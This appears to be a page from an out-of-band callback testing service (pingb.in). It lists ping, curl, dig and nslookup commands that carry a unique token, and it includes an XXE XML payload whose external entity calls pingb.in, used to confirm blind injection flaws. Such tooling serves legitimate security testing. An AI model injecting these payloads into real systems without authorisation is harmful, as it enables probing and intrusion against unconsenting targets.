$ ping -c1 -p 00096e063d94f3547537f345c51b2900 pingb.in
 
$ curl pingb.in/p/096e063d94f3547537f345c51b29
 
$ dig 096e063d94f3547537f345c51b29 @pingb.in
 
$ dig 096e063d94f3547537f345c51b29.ns.pingb.in
 
C:\> nslookup 096e063d94f3547537f345c51b29 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/096e063d94f3547537f345c51b29">]>
    <foo>&xxe;</foo>
 
Waiting for ping...